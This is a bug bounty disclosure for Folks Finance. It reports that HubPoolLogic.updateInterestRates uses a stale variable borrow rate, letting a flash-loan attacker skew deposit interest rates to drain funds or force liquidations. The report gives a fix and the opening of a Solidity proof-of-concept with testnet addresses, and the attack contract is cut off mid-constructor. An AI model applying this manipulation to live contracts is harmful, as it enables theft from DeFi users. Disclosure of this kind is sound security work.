Submitted on Mon Jul 22 2024 16:32:36 GMT-0400 (Atlantic Standard Time) by @ethprotector for Boost | Folks Finance
Report ID: #33533
Report type: Smart Contract
Report severity: Critical
Target: https://testnet.snowtrace.io/address/0x96e957bF63B5361C5A2F45C97C46B8090f2745C2
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
In HubPoolLogic.updateInterestRates
function depositData.interestRate
is not calculated correctly.
Vulnerability Details
Copy function updateInterestRates(HubPoolState.PoolData storage poolData) internal {
HubPoolState.PoolAmountDataCache memory poolAmountDataCache = getPoolAmountDataCache(poolData);
uint256 totalDebt = poolAmountDataCache.variableBorrowTotalAmount + poolAmountDataCache.stableBorrowTotalAmount;
uint256 utilisationRatio = MathUtils.calcUtilisationRatio(totalDebt, poolData.depositData.totalAmount);
uint32 vr1 = poolData.variableBorrowData.vr1;
// calculate new interest rates
uint256 variableBorrowInterestRate = MathUtils.calcVariableBorrowInterestRate(
poolData.variableBorrowData.vr0,
vr1,
poolData.variableBorrowData.vr2,
utilisationRatio,
poolData.depositData.optimalUtilisationRatio
);
uint256 stableBorrowInterestRate = MathUtils.calcStableBorrowInterestRate(
vr1,
poolData.stableBorrowData.sr0,
poolData.stableBorrowData.sr1,
poolData.stableBorrowData.sr2,
poolData.stableBorrowData.sr3,
utilisationRatio,
poolData.depositData.optimalUtilisationRatio,
MathUtils.calcStableDebtToTotalDebtRatio(poolAmountDataCache.stableBorrowTotalAmount, totalDebt),
poolData.stableBorrowData.optimalStableToTotalDebtRatio
);
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
poolData.variableBorrowData.interestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
// update interest rates
poolData.variableBorrowData.interestRate = variableBorrowInterestRate;
poolData.stableBorrowData.interestRate = stableBorrowInterestRate;
poolData.depositData.interestRate = depositInterestRate;
emit InterestRatesUpdated(variableBorrowInterestRate, stableBorrowInterestRate, depositInterestRate);
}
Copy uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
poolData.variableBorrowData.interestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
poolData.variableBorrowData.interestRate is not current value. That is for last updates. So if the attacker uses flashloan, when the tx is complated, depositData.interestRate is changed.
Impact Details
Attacker can make the depositData.interestRate more than actual value. So when users (and the attacker) can get more collateral tokens than expected and others loss the money.
Attacker can make the depositData.interestRate smaller than actual value and liquidate some loans.
To fix it
use variableBorrowInterestRate
instead of poolData.variableBorrowData.interestRate,
Copy uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
variableBorrowInterestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
Proof of concept
Proof of Concept
In this PoC, I am going to show the first case (make the value more).
Create oracleManager.sol
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/DataTypes.sol";
contract OracleManager is IOracleManager{
function processPriceFeed(uint8 poolId) external view returns (DataTypes.PriceFeed memory priceFeed) {
priceFeed.price = 1000130000000000000;
priceFeed.decimals = 6;
}
}
After a year, the contract is break in the testnet. So I used fixed price oracleManager for this test.
Create FlashloanContract.sol
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./PoC.sol";
import "./interfaces/IHubCircleTokenPool.sol";
import "./interfaces/ILoanManager.sol";
import "./interfaces/ISpokeCommon.sol";
import "./interfaces/ISpokeCircleToken.sol";
import "./interfaces/IHub.sol";
contract FlashloanContract is IERC3156FlashBorrower{
ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
uint256 private _1USDC = 1e6;
uint256 private _1TOKEN = 1e18;
bytes32 private attackerAccountId = bytes32("attackerAccountId");
bytes32 private attackerLoanId = bytes32("attackerLoanId");
bytes32 private userAccountId = bytes32("userAccountId");
bytes32 private userLoanId = bytes32("userLoanId");
bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 private refAccountId;
uint8 private constant poolId = 128;
bytes32 private stableLoanId = bytes32("stableLoanId");
bytes32 private variableLoanId = bytes32("variableLoanId");
Messages.MessageParams private params;
constructor() {
params = Messages.MessageParams({
adapterId: 1,
returnAdapterId: 1,
receiverValue: 0,
gasLimit: 0,
returnGasLimit: 0
});